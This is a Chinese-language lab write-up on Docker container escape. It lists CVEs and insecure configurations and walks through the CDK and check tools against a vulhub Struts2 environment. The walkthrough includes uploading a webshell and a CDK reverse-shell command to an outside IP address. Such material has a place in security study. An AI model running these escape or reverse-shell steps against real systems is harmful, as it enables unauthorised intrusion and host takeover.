本文主要是介绍云安全-云原生基于容器漏洞的逃逸自动化手法（CDK check），希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！
0x00 docker逃逸的方法种类
1、不安全的配置：
容器危险挂载（挂载procfs，Scoket） 特权模式启动的提权（privileged）
2、docker容器自身的漏洞
3、linux系统内核漏洞
这里参考Twiki的云安全博客，下列为逃逸的种类与漏洞
https://wiki.teamssix.com/CloudNative/Docker/docker-escape-vulnerability-summary.html
1、Docker 自身漏洞
cve-2017-1002101
cve-2018-1002100
cve-2018-15664 符号链接替换漏洞
cve-2019-14271 加载不受信任的动态链接库
cve-2019-1002101
cve-2019-11246
cve-2019-11249
cve-2019-11251
cve-2019-16884
cve-2019-5736 runc 逃逸
cve-2020-15257 containerd逃逸
cve-2020-27151
kata-escape-2020
cve-2021-25741
cve-2021-30465
cve-2022-0492
#2、内核漏洞
cve-2016-5195 DirtyCow
cve-2017-1000112
cve-2020-14386
cve-2021-22555
cve-2022-0847 DirtyPipe#3、不安全的配置
privileged-container
mount-docker-sock
mount-host-etc
mount-host-procfs
mount-var-log
cap_dac_read_search-container
cap_sys_admin-container
0x01 runC逃逸&&containerd逃逸
上述的两种逃逸类型为docker的漏洞，分别是
CVE-2019-5736 runC容器逃逸
CVE-2020-15257 containerd逃逸
关于docker，runC的关系
Containerd：从容器编排角度，Containerd 是容器运行时。
RunC：RunC 是容器运行工具，纯从系统角度，Runc才是底层运行时 。
Docker：一般指的是 docker-shim，其也是一种容器运行时。
CVE-2019-5736 runC容器逃逸是基于一下两个条件：
Docker version <= 18.09.2
RunC version <= 1.0-rc6
满足下列的版本时候，可以尝试该docker漏洞逃逸提权，详细的实验过程这里不作赘述，相关的操作网上也有大量的文章，但是实际的环境去逃逸，还是就事论事，会有许多的其他情况发生。
CVE-2020-15257 containerd逃逸需要满足的条件为：
containerd < 1.4.3
containerd < 1.3.9
docker存在的漏洞版本：19.03.6~3-0
0x02 自动化检测工具CDK&&check
上面可以看到逃逸的种类的以及其中的方法很多，但是实际环境中，是时间紧任务重，一步步的尝试逃逸难免有些费事，这里列举两种工具，CDK和check，集成了自动逃逸方法检测，CDK还集成了对应的poc实现一键逃逸，
CDK三种使用场景：
Evaluate: 容器内部信息收集，以发现潜在的弱点便于后续利用。 Exploit: 提供容器逃逸、持久化、横向移动等利用方式。
Tool: 修复渗透过程中常用的linux命令以及与Docker/K8s API交互的命令。
CDK的自动化逃逸中包含了挂载，特权等许多的自动化利用，
通过特权模式启动一台漏洞环境，使用CDK检测并且自动化逃逸：
dvwa环境cdk自动化失败：
拉取st2漏洞环境：
docker run --net=host -it -p 8888:8080 vulhub/struts2:s2-053
获取当前根目录后将木马上传到指定位置，连接格拉斯后上出纳CDK执行命令
执行cdk
逃逸成功
反弹shell：
./cdk_linux_amd64 run shim-pwn reverse 192.168.196.129 1111
反弹失败，暂未找到原因
check工具的检测：
直接上传执行即可，检测可能存在的逃逸提权漏洞
这篇关于云安全-云原生基于容器漏洞的逃逸自动化手法（CDK check）的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！
